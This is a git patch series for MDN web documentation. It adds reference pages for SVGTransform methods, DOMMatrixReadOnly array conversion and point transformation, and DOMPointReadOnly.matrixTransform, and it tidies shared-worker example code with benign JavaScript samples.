{{domxref("SVGTransform")}} interface represents the transformation matrix that corresponds to the transformation `type`. + +In case the `matrix` object is changed directly (i.e., without using the methods on the `SVGTransform` interface itself) then the `type` of the `SVGTransform` changes to `SVG_TRANSFORM_MATRIX`. + +- For `SVG_TRANSFORM_MATRIX`, the matrix contains the a, b, c, d, e, f values supplied by the user. + +- For `SVG_TRANSFORM_TRANSLATE`, e and f represent the translation amounts (a=1, b=0, c=0 and d=1). + +- For `SVG_TRANSFORM_SCALE`, a and d represent the scale amounts (b=0, c=0, e=0 and f=0). + +- For `SVG_TRANSFORM_SKEWX` and `SVG_TRANSFORM_SKEWY`, a, b, c and d represent the matrix which will result in the given skew (e=0 and f=0). + +- For `SVG_TRANSFORM_ROTATE`, a, b, c, d, e and f together represent the matrix which will result in the given rotation. When the rotation is around the center point (0, 0), e and f will be zero. + +## Value + +A live {{domxref("DOMMatrix")}} object. + +## Examples + +### Accessing and Modifying the Matrix + +```html + + + +``` + +```js +const rect = document.getElementById("rect"); +const transformList = rect.transform.baseVal; + +// Create and add a rotation transform +const rotateTransform = rect.ownerSVGElement.createSVGTransform(); +rotateTransform.setRotate(30, 100, 100); // Rotate 30 degrees +transformList.appendItem(rotateTransform); + +// Access the matrix +const matrix = transformList.getItem(0).matrix; +console.log(matrix.a, matrix.b, matrix.c, matrix.d, matrix.e, matrix.f); + +// Modify the matrix directly +matrix.a = 2; // Double the horizontal scaling +console.log(transformList.getItem(0).type); // Output: 1 (SVG_TRANSFORM_MATRIX) +``` + +### Understanding Transformation Types + +```html + + + +``` + +```js +const rect = document.getElementById("rect"); +const transformList = rect.transform.baseVal; + +// Apply a translation transform +const translateTransform = rect.ownerSVGElement.createSVGTransform(); +translateTransform.setTranslate(20, 30); +transformList.appendItem(translateTransform); + +// Access the matrix +const matrix = transformList.getItem(0).matrix; +console.log(matrix.e, matrix.f); // Output: 20, 30 +console.log(transformList.getItem(0).type); // Output: 2 (SVG_TRANSFORM_TRANSLATE) +``` + +## Specifications + +{{Specifications}} + +## Browser compatibility + +{{Compat}} + +## See also + +- {{domxref("SVGTransform.type")}} +- {{domxref("DOMMatrix")}} diff --git a/files/en-us/web/api/svgtransform/setmatrix/index.md b/files/en-us/web/api/svgtransform/setmatrix/index.md new file mode 100644 index 000000000000000..593d6a4bf296179 --- /dev/null +++ b/files/en-us/web/api/svgtransform/setmatrix/index.md @@ -0,0 +1,67 @@ +--- +title: "SVGTransform: setMatrix() method" +short-title: setMatrix() +slug: Web/API/SVGTransform/setMatrix +page-type: web-api-instance-method +browser-compat: api.SVGTransform.setMatrix +--- + +{{APIRef("SVG")}} + +The `setMatrix()` method of the {{domxref("SVGTransform")}} interface sets the transform type to `SVG_TRANSFORM_MATRIX`, with parameter `matrix` defining the new transformation. + +Note that the values from the parameter `matrix` are copied, meaning changes to the `matrix` object after calling this method will not affect the transformation. + +## Syntax + +```js-nolint +SVGTransform.setMatrix(matrix) +``` + +### Parameters + +- `matrix` + - : A live {{domxref("DOMMatrix")}} object defining the new transformation matrix to apply. + +### Return value + +None ({{jsxref('undefined')}}). + +### Exceptions + +- `NoModificationAllowedError` {{domxref("DOMException")}} + - : Thrown if the attribute or the {{domxref("SVGTransform")}} object is read-only. + +## Examples + +### Setting a Transformation Matrix + +```js +// Get an SVG element and create a transform object +const svgElement = document.querySelector("svg"); +const transform = svgElement.createSVGTransform(); + +// Create a DOMMatrix with specific values +const matrix = new DOMMatrix(); +matrix.a = 1; // Scale X +matrix.d = 1; // Scale Y +matrix.e = 50; // Translate X +matrix.f = 50; // Translate Y + +// Set the transform to the new matrix +transform.setMatrix(matrix); + +console.dir(transform.matrix); // Output: SVGMatrix { a: 1, b: 0, c: 0, d: 1, e: 50, f: 50 } +``` + +## Specifications + +{{Specifications}} + +## Browser compatibility + +{{Compat}} + +## See Also + +- {{domxref("DOMMatrix")}} diff --git a/files/en-us/web/api/svgtransform/setrotate/index.md b/files/en-us/web/api/svgtransform/setrotate/index.md new file mode 100644 index 000000000000000..4a106f34e427131 --- /dev/null +++ b/files/en-us/web/api/svgtransform/setrotate/index.md @@ -0,0 +1,63 @@ +--- +title: "SVGTransform: setRotate() method" +short-title: setRotate() +slug: Web/API/SVGTransform/setRotate +page-type: web-api-instance-method +browser-compat: api.SVGTransform.setRotate +--- + +{{APIRef("SVG")}} + +The `setRotate()` method of the {{domxref("SVGTransform")}} interface sets the transform type to `SVG_TRANSFORM_ROTATE`, with parameter `angle` defining the rotation angle and parameters `cx` and `cy` defining the optional center of rotation. + +## Syntax + +```js-nolint +SVGTransform.setRotate(angle, cx, cy) +``` + +### Parameters + +- `angle` + - : A float defining the rotation angle in degrees. +- `cx` {{optional_inline}} + - : A float defining the X-coordinate of the center of rotation. Defaults to `0`. +- `cy` {{optional_inline}} + - : A float defining the Y-coordinate of the center of rotation. Defaults to `0`. + +### Return value + +None ({{jsxref('undefined')}}). + +### Exceptions + +- `NoModificationAllowedError` {{domxref("DOMException")}} + - : Thrown if the attribute or the {{domxref("SVGTransform")}} object is read-only. + +## Examples + +### Rotating an SVG Element + +```js +// Select an SVG element and create a transform object +const svgElement = document.querySelector("svg"); +const transform = svgElement.createSVGTransform(); + +// Set a rotation of 45 degrees +transform.setRotate(45, 0, 0); + +// Output the rotation angle +console.log(`Rotation Angle: ${transform.angle}`); // Output: 45 +``` + +## Specifications + +{{Specifications}} + +## Browser compatibility + +{{Compat}} + +## See also + +- {{domxref("SVGTransform.angle")}} diff --git a/files/en-us/web/api/svgtransform/setscale/index.md b/files/en-us/web/api/svgtransform/setscale/index.md new file mode 100644 index 000000000000000..cf6b7d1bfc314b3 --- /dev/null +++ b/files/en-us/web/api/svgtransform/setscale/index.md @@ -0,0 +1,58 @@ +--- +title: "SVGTransform: setScale() method" +short-title: setScale() +slug: Web/API/SVGTransform/setScale +page-type: web-api-instance-method +browser-compat: api.SVGTransform.setScale +--- + +{{APIRef("SVG")}} + +The `setScale()` method of the {{domxref("SVGTransform")}} interface sets the transform type to `SVG_TRANSFORM_SCALE`, with parameters `sx` and `sy` defining the scale amounts. + +## Syntax + +```js-nolint +SVGTransform.setScale(sx, sy) +``` + +### Parameters + +- `sx` + - : A float defining the scale amount along the X-axis. +- `sy` + - : A float defining the scale amount along the Y-axis. + +### Return value + +None ({{jsxref('undefined')}}). + +### Exceptions + +- `NoModificationAllowedError` {{domxref("DOMException")}} + - : Thrown if the attribute or the {{domxref("SVGTransform")}} object is read-only. + +## Examples + +### Scaling an SVG Element + +```js +// Select an SVG element and create a transform object +const svgElement = document.querySelector("svg"); +const transform = svgElement.createSVGTransform(); + +// Set the scale values for the transform +transform.setScale(2, 3); + +// Output the scale details +console.log(`Scale X: ${transform.matrix.a}`); // Output: 2 +console.log(`Scale Y: ${transform.matrix.d}`); // Output: 3 +``` + +## Specifications + +{{Specifications}} + +## Browser compatibility + +{{Compat}} diff --git a/files/en-us/web/api/svgtransform/setskewx/index.md b/files/en-us/web/api/svgtransform/setskewx/index.md new file mode 100644 index 000000000000000..693f670ffbce40c --- /dev/null +++ b/files/en-us/web/api/svgtransform/setskewx/index.md @@ -0,0 +1,59 @@ +--- +title: "SVGTransform: setSkewX() method" +short-title: setSkewX() +slug: Web/API/SVGTransform/setSkewX +page-type: web-api-instance-method +browser-compat: api.SVGTransform.setSkewX +--- + +{{APIRef("SVG")}} + +The `setSkewX()` method of the {{domxref("SVGTransform")}} interface sets the transform type to `SVG_TRANSFORM_SKEWX`, with parameter `angle` defining the amount of skew along the X-axis. + +## Syntax + +```js-nolint +SVGTransform.setSkewX(angle) +``` + +### Parameters + +- `angle` + - : A float defining the amount of skew in degrees. + +### Return value + +None ({{jsxref('undefined')}}). + +### Exceptions + +- `NoModificationAllowedError` {{domxref("DOMException")}} + - : Thrown if the attribute or the {{domxref("SVGTransform")}} object is read-only. + +## Examples + +### Skewing an SVG Element Along the X-Axis + +```js +// Select an SVG element and create a transform object +const svgElement = document.querySelector("svg"); +const transform = svgElement.createSVGTransform(); + +// Apply a skew of 30 degrees along the X-axis +transform.setSkewX(30); + +// Log the applied transformation angle +console.log(`Skew Angle: ${transform.angle}`); // Output: 30 +``` + +## Specifications + +{{Specifications}} + +## Browser compatibility + +{{Compat}} + +## See also + +- {{domxref("SVGTransform.angle")}} diff --git a/files/en-us/web/api/svgtransform/setskewy/index.md b/files/en-us/web/api/svgtransform/setskewy/index.md new file mode 100644 index 000000000000000..1b9d64197d06ee4 --- /dev/null +++ b/files/en-us/web/api/svgtransform/setskewy/index.md @@ -0,0 +1,59 @@ +--- +title: "SVGTransform: setSkewY() method" +short-title: setSkewY() +slug: Web/API/SVGTransform/setSkewY +page-type: web-api-instance-method +browser-compat: api.SVGTransform.setSkewY +--- + +{{APIRef("SVG")}} + +The `setSkewY()` method of the {{domxref("SVGTransform")}} interface sets the transform type to `SVG_TRANSFORM_SKEWY`, with parameter `angle` defining the amount of skew along the Y-axis. + +## Syntax + +```js-nolint +SVGTransform.setSkewY(angle) +``` + +### Parameters + +- `angle` + - : A float defining the amount of skew in degrees. + +### Return value + +None ({{jsxref('undefined')}}). + +### Exceptions + +- `NoModificationAllowedError` {{domxref("DOMException")}} + - : Thrown if the attribute or the {{domxref("SVGTransform")}} object is read-only. + +## Examples + +### Skewing an SVG Element Along the Y-Axis + +```js +// Select an SVG element and create a transform object +const svgElement = document.querySelector("svg"); +const transform = svgElement.createSVGTransform(); + +// Apply a skew of 30 degrees along the Y-axis +transform.setSkewY(30); + +// Log the applied transformation angle +console.log(`Skew Angle: ${transform.angle}`); // Output: 30 +``` + +## Specifications + +{{Specifications}} + +## Browser compatibility + +{{Compat}} + +## See also + +- {{domxref("SVGTransform.angle")}} diff --git a/files/en-us/web/api/svgtransform/settranslate/index.md b/files/en-us/web/api/svgtransform/settranslate/index.md new file mode 100644 index 000000000000000..012dd69c17b7640 --- /dev/null +++ b/files/en-us/web/api/svgtransform/settranslate/index.md @@ -0,0 +1,58 @@ +--- +title: "SVGTransform: setTranslate() method" +short-title: setTranslate() +slug: Web/API/SVGTransform/setTranslate +page-type: web-api-instance-method +browser-compat: api.SVGTransform.setTranslate +--- + +{{APIRef("SVG")}} + +The `setTranslate()` method of the {{domxref("SVGTransform")}} interface sets the transform type to `SVG_TRANSFORM_TRANSLATE`, with parameters `tx` and `ty` defining the translation amounts. + +## Syntax + +```js-nolint +SVGTransform.setTranslate(tx, ty) +``` + +### Parameters + +- `tx` + - : A float defining the translation amount along the X-axis. +- `ty` + - : A float defining the translation amount along the Y-axis. + +### Return value + +None ({{jsxref('undefined')}}). + +### Exceptions + +- `NoModificationAllowedError` {{domxref("DOMException")}} + - : Thrown if the attribute or the {{domxref("SVGTransform")}} object is read-only. + +## Examples + +### Setting Translation Values + +```js +// Select an SVG element and create a transform object +const svgElement = document.querySelector("svg"); +const transform = svgElement.createSVGTransform(); + +// Set the translation values for the transform +transform.setTranslate(100, 50); + +// Output the translation details +console.log(`X Translation: ${transform.matrix.e}`); // Output: 100 +console.log(`Y Translation: ${transform.matrix.f}`); // Output: 50 +``` + +## Specifications + +{{Specifications}} + +## Browser compatibility + +{{Compat}} diff --git a/files/en-us/web/api/svgtransform/type/index.md b/files/en-us/web/api/svgtransform/type/index.md new file mode 100644 index 000000000000000..f78dc599dd6b37f --- /dev/null +++ b/files/en-us/web/api/svgtransform/type/index.md @@ -0,0 +1,46 @@ +--- +title: "SVGTransform: type property" +short-title: type +slug: Web/API/SVGTransform/type +page-type: web-api-instance-property +browser-compat: api.SVGTransform.type +--- + +{{APIRef("SVG")}} + +The **`type`** read-only property of the {{domxref("SVGTransform")}} interface represents the `type` of transformation applied, specified by one of the `SVG_TRANSFORM_*` constants defined on this interface. + +## Value + +An `integer`; the type of value as an unsigned short. + +## Examples + +### Determining the type of a transform + +```html + + + +``` + +```js +const rect = document.getElementById("rect"); +const transformList = rect.transform.baseVal; + +// Create and add a translation transform +const translateTransform = rect.ownerSVGElement.createSVGTransform(); +translateTransform.setTranslate(20, 30); +transformList.appendItem(translateTransform); + +// Check the type of the added transform +console.log(transformList.getItem(0).type); // Output: 2 (SVG_TRANSFORM_TRANSLATE) +``` + +## Specifications + +{{Specifications}} + +## Browser compatibility + +{{Compat}} From 6ccc59de7fafb81a9cd90078c3380f931ae0af9a Mon Sep 17 00:00:00 2001 From: Estelle Weyl Date: Tue, 31 Dec 2024 00:13:39 -0800 Subject: [PATCH 6/8] New pages: DOMMatrixReadOnly.toFloatArray (#37233) * New pages: DOMMatrixReadOnly.toFloatArray * New pages: DOMMatrixReadOnly.toFloatArray * Apply suggestions from code review Co-authored-by: sideshowbarker --------- Co-authored-by: sideshowbarker --- .../en-us/web/api/dommatrixreadonly/index.md | 4 +- .../dommatrixreadonly/tofloat32array/index.md | 64 +++++++++++++++++++ .../dommatrixreadonly/tofloat64array/index.md | 51 +++++++++++++++ 3 files changed, 117 insertions(+), 2 deletions(-) create mode 100644 files/en-us/web/api/dommatrixreadonly/tofloat32array/index.md create mode 100644 files/en-us/web/api/dommatrixreadonly/tofloat64array/index.md diff --git a/files/en-us/web/api/dommatrixreadonly/index.md b/files/en-us/web/api/dommatrixreadonly/index.md index 87cd9c74706f488..459b9e2131948f0 100644 --- a/files/en-us/web/api/dommatrixreadonly/index.md +++ b/files/en-us/web/api/dommatrixreadonly/index.md @@ -68,9 +68,9 @@ _This interface doesn't inherit any methods. None of the following methods alter - {{domxref("DOMMatrixReadOnly.skewY()")}} - : Returns a new {{domxref("DOMMatrix")}} created by applying the specified skew transformation to the source matrix along its Y-axis. The original matrix is not modified. - {{domxref("DOMMatrixReadOnly.toFloat32Array()")}} - - : Returns a new {{jsxref("Float32Array")}} containing all 16 elements (`m11`, `m12`, `m13`, `m14`, `m21`, `m22`, `m23`, `m24`, `m31`, `m32`, `m33`, `m34`, `m41`, `m42`, `m43`, `m44`) which comprise the matrix. The elements are stored into the array as single-precision floating-point numbers in column-major (colexographical access, or "colex") order. (In other words, down the first column from top to bottom, then the second column, and so forth.) + - : Returns a new {{jsxref("Float32Array")}} of single-precision floating-point numbers, containing all 16 elements which comprise the matrix. - {{domxref("DOMMatrixReadOnly.toFloat64Array()")}} - - : Returns a new {{jsxref("Float64Array")}} containing all 16 elements (`m11`, `m12`, `m13`, `m14`, `m21`, `m22`, `m23`, `m24`, `m31`, `m32`, `m33`, `m34`, `m41`, `m42`, `m43`, `m44`) which comprise the matrix. The elements are stored into the array as double-precision floating-point numbers in column-major (colexographical access, or "colex") order. (In other words, down the first column from top to bottom, then the second column, and so forth.) + - : Returns a new {{jsxref("Float64Array")}} of double-precision floating-point numbers, containing all 16 elements which comprise the matrix. - {{domxref("DOMMatrixReadOnly.toJSON()")}} - : Returns a JSON representation of the `DOMMatrixReadOnly` object. - {{domxref("DOMMatrixReadOnly.toString()")}} diff --git a/files/en-us/web/api/dommatrixreadonly/tofloat32array/index.md b/files/en-us/web/api/dommatrixreadonly/tofloat32array/index.md new file mode 100644 index 000000000000000..a87af045c5608ae --- /dev/null +++ b/files/en-us/web/api/dommatrixreadonly/tofloat32array/index.md @@ -0,0 +1,64 @@ +--- +title: "DOMMatrixReadOnly: toFloat32Array() method" +short-title: toFloat32Array() +slug: Web/API/DOMMatrixReadOnly/toFloat32Array +page-type: web-api-instance-method +browser-compat: api.DOMMatrixReadOnly.toFloat32Array +--- + +{{APIRef("DOM")}} + +The **`toFloat32Array()`** method of the {{domxref("DOMMatrixReadOnly")}} interface returns a new {{jsxref("Float32Array")}} containing all 16 elements (`m11`, `m12`, `m13`, `m14`, `m21`, `m22`, `m23`, `m24`, `m31`, `m32`, `m33`, `m34`, `m41`, `m42`, `m43`, `m44`) which comprise the matrix. The elements are stored into the array as single-precision floating-point numbers in column-major (colexographical access, or "colex") order. (In other words, down the first column from top to bottom, then the second column, and so forth.) + +For double-precision floating-point numbers, see {{domxref("DOMMatrixReadOnly.toFloat64Array()")}}. + +## Syntax + +```js-nolint +DOMMatrixReadOnly.toFloat32Array() +``` + +### Parameters + +None. + +### Return value + +A {{jsxref("Float32Array")}}; an array of the matrix's 16 element values. + +## Examples + +### Basic usage + +```js +const matrix = new DOMMatrixReadOnly(); +const float32 = matrix.translate(20, 30, 50).toFloat32Array(); +console.log(float32); // Float64Array(16) [ 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1, 0, 20, 30, 0, 1 ] ] +console.log(`m41: ${float32[12]}, m42: ${float32[13]}, m43: ${float32[14]}`); // m41: 20, m42: 30, M44: 40 +``` + +### Single precision + +There are multiple ways to access the values of a matrix. This example rotates a matrix by 30deg, saving the rotated state as a JSON object using the {{domxref("DOMMatrixReadOnly.toJSON()")}} method and as a single-precision array using the `toFloat32Array()` method. + +```js +const matrix = new DOMMatrixReadOnly(); +const json = matrix.rotate(30).toJSON(); +const float32 = matrix.rotate(30).toFloat32Array(); + +console.log(`a: ${json["a"]}, b: ${json["b"]}`); // a: 0.8660254037844387, b: 0.49999999999999994 +console.log(`a: ${float32[0]}, b: ${float32[1]}`); // a: 0.8660253882408142, b: 0.5 +``` + +## Specifications + +{{Specifications}} + +## Browser compatibility + +{{Compat}} + +## See also + +- {{domxref("DOMMatrixReadOnly.toFloat64Array()")}} +- {{domxref("DOMMatrix.setMatrixValue()")}} diff --git a/files/en-us/web/api/dommatrixreadonly/tofloat64array/index.md b/files/en-us/web/api/dommatrixreadonly/tofloat64array/index.md new file mode 100644 index 000000000000000..08e8f2728d7d40e --- /dev/null +++ b/files/en-us/web/api/dommatrixreadonly/tofloat64array/index.md @@ -0,0 +1,51 @@ +--- +title: "DOMMatrixReadOnly: toFloat64Array() method" +short-title: toFloat64Array() +slug: Web/API/DOMMatrixReadOnly/toFloat64Array +page-type: web-api-instance-method +browser-compat: api.DOMMatrixReadOnly.toFloat64Array +--- + +{{APIRef("DOM")}} + +The **`toFloat64Array()`** method of the {{domxref("DOMMatrixReadOnly")}} interface returns a new {{jsxref("Float64Array")}} containing all 16 elements (`m11`, `m12`, `m13`, `m14`, `m21`, `m22`, `m23`, `m24`, `m31`, `m32`, `m33`, `m34`, `m41`, `m42`, `m43`, `m44`) which comprise the matrix. The elements are stored into the array as double-precision floating-point numbers in column-major (colexographical access, or "colex") order. (In other words, down the first column from top to bottom, then the second column, and so forth.) + +## Syntax + +```js-nolint +DOMMatrixReadOnly.toFloat64Array() +``` + +### Parameters + +None. + +### Return value + +A {{jsxref("Float64Array")}}; an array of the matrix's 16 element values. + +## Examples + +```js +const matrix = new DOMMatrixReadOnly(); +let float64 = matrix.translate(20, 30, 50).toFloat64Array(); +console.log(float64); // Float64Array(16) [ 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1, 0, 20, 30, 0, 1 ] ] +console.log(`m41: ${float64[12]}, m42: ${float64[13]}, m43: ${float64[14]}`); // m41: 20, m42: 30, M44: 40 + +float64 = matrix.rotate(30).toFloat64Array(); +console.log(float64); +console.log(`m11: ${float64[0]}, m12: ${float64[1]}`); // m11: 0.8660254037844387, m12: 0.49999999999999994 +``` + +## Specifications + +{{Specifications}} + +## Browser compatibility + +{{Compat}} + +## See also + +- {{domxref("DOMMatrixReadOnly.toFloat32Array()")}} +- {{domxref("DOMMatrix.setMatrixValue()")}} From 76ca8e9c56e6b86a288c1be3d66aff2435237cf0 Mon Sep 17 00:00:00 2001 From: Estelle Weyl Date: Tue, 31 Dec 2024 00:15:41 -0800 Subject: [PATCH 7/8] New page: DOMPointReadOnly.matrixTransform() (#37234) * New page: DOMPointReadOnly.matrixTransform() * New page: DOMPointReadOnly.matrixTransform() * New page: DOMMatrixReadOnly.transformPoint() * typo * title * Update files/en-us/web/api/dompointreadonly/matrixtransform/index.md Co-authored-by: sideshowbarker --------- Co-authored-by: sideshowbarker --- .../dommatrixreadonly/transformpoint/index.md | 76 +++++++++++++++++++ .../dompointreadonly/matrixtransform/index.md | 72 ++++++++++++++++++ 2 files changed, 148 insertions(+) create mode 100644 files/en-us/web/api/dommatrixreadonly/transformpoint/index.md create mode 100644 files/en-us/web/api/dompointreadonly/matrixtransform/index.md diff --git a/files/en-us/web/api/dommatrixreadonly/transformpoint/index.md b/files/en-us/web/api/dommatrixreadonly/transformpoint/index.md new file mode 100644 index 000000000000000..522a552fdf520e7 --- /dev/null +++ b/files/en-us/web/api/dommatrixreadonly/transformpoint/index.md @@ -0,0 +1,76 @@ +--- +title: "DOMMatrixReadOnly: transformPoint method" +short-title: transformPoint +slug: Web/API/DOMMatrixReadOnly/transformPoint +page-type: web-api-instance-method +browser-compat: api.DOMMatrixReadOnly.transformPoint +--- + +{{APIRef("Geometry Interfaces")}}{{AvailableInWorkers}} + +The **`transformPoint`** method of the +{{domxref("DOMMatrixReadOnly")}} interface creates a new {{domxref("DOMPoint")}} object, transforming a specified point by the matrix. Neither the matrix nor the original point are altered. + +You can also create a new `DOMPoint` by applying a matrix to a point with the {{domxref("DOMPointReadOnly.matrixTransform()")}} method. + +## Syntax + +```js +DOMMatrixReadOnly.transformPoint(); +DOMMatrixReadOnly.transformPoint(point); +``` + +### Parameters + +- `point` + + - : A {{domxref("DOMPoint")}} or {{domxref("DOMPointReadOnly")}} instance, or an object containing up to four of the following properties: + + - `x` + - : The `x`-coordinate of the point in space as a number. The default value is `0`. + - `y` + - : The `y`-coordinate of the point in space as a number. The default value is `0`. + - `z` + - : The `z`-coordinate, or depth coordinate, of the point in space as a number. The default value is `0`.; positive values are closer to the user and negative values retreat back into the screen. + - `w` + - : The `w` perspective value of the point, as a number. The default is `1`. + +### Return value + +A {{domxref("DOMPoint")}}. + +## Examples + +### 2D transform + +```js +const matrix = new DOMMatrixReadOnly(); +const point = new DOMPointReadOnly(10, 20); // DOMPointReadOnly {x: 10, y: 20, z: 0, w: 1} +let newPoint = matrix.transformPoint(point); // DOMPoint {x: 10, y: 20, z: 0, w: 1} +``` + +### 3D transform + +In this example, we apply a 3D point to a 3D matrix: + +```js +// Matrix with translate(22, 37, 10) applied +const matrix3D = new DOMMatrixReadOnly([ + 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1, 0, 22, 37, 10, 1, +]); +const point3D = new DOMPointReadOnly(5, 10, 3); // DOMPointReadOnly {x: 5, y: 10, z: 3, w: 1} +const transformedPoint3D = point3D.matrixTransform(matrix3D); // DOMPoint {x: 27, y: 47, z: 13, w: 1} +``` + +## Specifications + +{{Specifications}} + +## Browser compatibility + +{{Compat}} + +## See also + +- {{domxref("DOMPointReadOnly.matrixTransform()")}} +- CSS {{cssxref("transform-function/matrix", "matrix()")}} and {{cssxref("transform-function/matrix3d", "matrix3d()")}} functions diff --git a/files/en-us/web/api/dompointreadonly/matrixtransform/index.md b/files/en-us/web/api/dompointreadonly/matrixtransform/index.md new file mode 100644 index 000000000000000..cc5151f150c5762 --- /dev/null +++ b/files/en-us/web/api/dompointreadonly/matrixtransform/index.md @@ -0,0 +1,72 @@ +--- +title: "DOMPointReadOnly: matrixTransform()" +short-title: matrixTransform() +slug: Web/API/DOMPointReadOnly/matrixTransform +page-type: web-api-static-method +browser-compat: api.DOMPointReadOnly.matrixTransform +--- + +{{APIRef("Geometry Interfaces")}}{{AvailableInWorkers}} + +The static **`matrixTransform()`** method of the {{domxref("DOMPointReadOnly")}} interface applies a matrix transform specified as an object to the DOMPointReadOnly object, creating and returning a new `DOMPointReadOnly` object. Neither the matrix nor the point are altered. + +If the matrix passed as a parameter is 2D (the {{domxref("DOMMatrix.is_2d")}}is `true`) then this is a 2D transformation and the point's `z` coordinate will be `0` and point's `w` perspective will be `1`. Otherwise this is a 3D transformation. + +You can also create a new `DOMPoint` with a point and matrix with the {{domxref("DOMMatrixReadOnly.transformPoint()")}} method. + +## Syntax + +```js-nolint +DOMPointReadOnly.matrixTransform( ) +DOMPointReadOnly.matrixTransform( matrix ) +``` + +### Parameters + +- `matrix` + + - : A {{domxref("DOMMatrix")}} or {{domxref("DOMMatrixReadOnly")}} object. + +### Return value + +A new {{domxref("DOMPoint")}} object. + +## Examples + +### 2D transform + +In this example, we apply a 2D matrix transform to a `DOMPointReadOnly`, creating a new `DOMPoint`: + +```js +const originalPoint = new DOMPointReadOnly(10, 20); // DOMPointReadOnly {x: 10, y: 20, z: 0, w: 1} +const matrix = new DOMMatrix([1, 0, 0, 1, 15, 30]); + +const transformedPoint = originalPoint.matrixTransform(matrix); // DOMPoint {x: 25, y: 50, z: 0, w: 1} + +console.log(transformedPoint.toJSON()); // output: {x: 25, y: 50, z: 0, w: 1} +``` + +### 3D transform + +In this example, we apply a 3D matrix transform to a `DOMPointReadOnly`: + +```js +const point = new DOMPointReadOnly(5, 10); // DOMPointReadOnly {x: 5, y: 10, z: 0, w: 1} +const matrix3D = new DOMMatrix().translate(0, 0, 10); +const transformedPoint = point.matrixTransform(matrix3D); // DOMPoint {x: 5, y: 10, z: 10, w: 1} +``` + +## Specifications + +{{Specifications}} + +## Browser compatibility + +{{Compat}} + +## See also + +- {{domxref("DOMPoint")}} +- {{domxref("DOMMatrix")}} +- {{domxref("DOMMatrixReadOnly.transformPoint()")}} +- CSS {{cssxref("transform-function/matrix", "matrix()")}} and {{cssxref("transform-function/matrix3d", "matrix3d()")}} functions From 875215de95e76ff145fc85902d32c1142a1ccf53 Mon Sep 17 00:00:00 2001 From: Marcial Abrahantes <4205668+Marcial1234@users.noreply.github.com> Date: Tue, 31 Dec 2024 04:04:40 -0500 Subject: [PATCH 8/8] Consistent worker iterations (#37208) * Consistent worker iterations * Update files/en-us/web/api/worker/postmessage/index.md Co-authored-by: github-actions[bot] <41898282+github-actions[bot]@users.noreply.github.com> * Update files/en-us/web/api/worker/postmessage/index.md Co-authored-by: github-actions[bot] <41898282+github-actions[bot]@users.noreply.github.com> * Update files/en-us/web/api/web_workers_api/using_web_workers/index.md Co-authored-by: github-actions[bot] <41898282+github-actions[bot]@users.noreply.github.com> * Update files/en-us/web/api/web_workers_api/using_web_workers/index.md Co-authored-by: github-actions[bot] <41898282+github-actions[bot]@users.noreply.github.com> * Update files/en-us/web/api/sharedworker/sharedworker/index.md Co-authored-by: github-actions[bot] <41898282+github-actions[bot]@users.noreply.github.com> * Update files/en-us/web/api/sharedworker/sharedworker/index.md Co-authored-by: github-actions[bot] <41898282+github-actions[bot]@users.noreply.github.com> * Update files/en-us/web/api/messageevent/index.md Co-authored-by: github-actions[bot] <41898282+github-actions[bot]@users.noreply.github.com> * Update files/en-us/web/api/messageevent/index.md Co-authored-by: github-actions[bot] <41898282+github-actions[bot]@users.noreply.github.com> * Update files/en-us/web/api/sharedworker/index.md Co-authored-by: github-actions[bot] <41898282+github-actions[bot]@users.noreply.github.com> * Update files/en-us/web/api/sharedworker/index.md Co-authored-by: github-actions[bot] <41898282+github-actions[bot]@users.noreply.github.com> * Apply suggestions from code review --------- Co-authored-by: github-actions[bot] <41898282+github-actions[bot]@users.noreply.github.com> Co-authored-by: Brian Smith --- files/en-us/web/api/messageevent/index.md | 15 ++++++--------- files/en-us/web/api/sharedworker/index.md | 15 ++++++--------- .../web/api/sharedworker/sharedworker/index.md | 15 ++++++--------- .../web_workers_api/using_web_workers/index.md | 15 ++++++--------- files/en-us/web/api/worker/postmessage/index.md | 15 ++++++--------- 5 files changed, 30 insertions(+), 45 deletions(-) diff --git a/files/en-us/web/api/messageevent/index.md b/files/en-us/web/api/messageevent/index.md index c584268187b70b9..1bf5f52c7f6fbeb 100644 --- a/files/en-us/web/api/messageevent/index.md +++ b/files/en-us/web/api/messageevent/index.md @@ -69,15 +69,12 @@ myWorker.port.start(); When the port is started, both scripts post messages to the worker and handle messages sent from it using `port.postMessage()` and `port.onmessage`, respectively: ```js -first.onchange = () => { - myWorker.port.postMessage([first.value, second.value]); - console.log("Message posted to worker"); -}; - -second.onchange = () => { - myWorker.port.postMessage([first.value, second.value]); - console.log("Message posted to worker"); -}; +[first, second].forEach((input) => { + input.onchange = () => { + myWorker.port.postMessage([first.value, second.value]); + console.log("Message posted to worker"); + }; +}); myWorker.port.onmessage = (e) => { result1.textContent = e.data; diff --git a/files/en-us/web/api/sharedworker/index.md b/files/en-us/web/api/sharedworker/index.md index 8e157885f29203d..567e657a7f3268e 100644 --- a/files/en-us/web/api/sharedworker/index.md +++ b/files/en-us/web/api/sharedworker/index.md @@ -60,15 +60,12 @@ When the port is started, both scripts post messages to the worker and handle me > You can use browser devtools to debug your SharedWorker, by entering a URL in your browser address bar to access the devtools workers inspector; for example, in Chrome, the URL `chrome://inspect/#workers`, and in Firefox, the URL `about:debugging#workers`. ```js -first.onchange = () => { - myWorker.port.postMessage([first.value, second.value]); - console.log("Message posted to worker"); -}; - -second.onchange = () => { - myWorker.port.postMessage([first.value, second.value]); - console.log("Message posted to worker"); -}; +[first, second].forEach((input) => { + input.onchange = () => { + myWorker.port.postMessage([first.value, second.value]); + console.log("Message posted to worker"); + }; +}); myWorker.port.onmessage = (e) => { result1.textContent = e.data; diff --git a/files/en-us/web/api/sharedworker/sharedworker/index.md b/files/en-us/web/api/sharedworker/sharedworker/index.md index 9ccb489a1c684b1..1e121a4abdcd41b 100644 --- a/files/en-us/web/api/sharedworker/sharedworker/index.md +++ b/files/en-us/web/api/sharedworker/sharedworker/index.md @@ -82,15 +82,12 @@ const myWorker = new SharedWorker("worker.js"); myWorker.port.start(); -first.onchange = () => { - myWorker.port.postMessage([first.value, second.value]); - console.log("Message posted to worker"); -}; - -second.onchange = () => { - myWorker.port.postMessage([first.value, second.value]); - console.log("Message posted to worker"); -}; +[first, second].forEach((input) => { + input.onchange = () => { + myWorker.port.postMessage([first.value, second.value]); + console.log("Message posted to worker"); + }; +}); myWorker.port.onmessage = (e) => { result1.textContent = e.data; diff --git a/files/en-us/web/api/web_workers_api/using_web_workers/index.md 